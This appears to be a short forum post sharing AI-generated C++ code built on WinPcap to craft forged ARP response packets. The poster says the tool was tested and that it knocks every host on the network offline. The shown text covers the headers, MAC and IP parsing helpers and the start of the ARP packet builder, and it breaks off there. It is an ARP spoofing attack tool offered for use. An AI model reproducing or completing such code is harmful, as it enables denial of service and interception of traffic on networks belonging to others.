此程序由AI生成,测试过了,可以使用
但是,貌似全部都会断网
#include <pcap.h>
#include <WinSock2.h>
#include <iostream>
#include <vector>
#include <string>
#include <sstream>
#include <iomanip>
#include <iphlpapi.h>
#pragma warning(disable:4996)
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")
using namespace std;
// MAC地址转换函数(字符串转字节数组)
vector<uint8_t> parse_mac(const string& mac_str) {
vector<uint8_t> mac;
stringstream ss(mac_str);
string part;
while (getline(ss, part, ':')) {
int byte = stoi(part, nullptr, 16);
mac.push_back(static_cast<uint8_t>(byte));
}
return mac;
}
// IP地址转换函数(字符串转网络序)
uint32_t parse_ip(const string& ip_str) {
in_addr addr;
if (inet_pton(AF_INET, ip_str.c_str(), &addr) == 1) {
return addr.S_un.S_addr;
}
return 0;
}
// 构建ARP响应包
vector<uint8_t> build_arp_packet(
const vector<uint8_t>& src_mac,
uint32_t src_ip,
const vector<uint8_t>& dst_mac,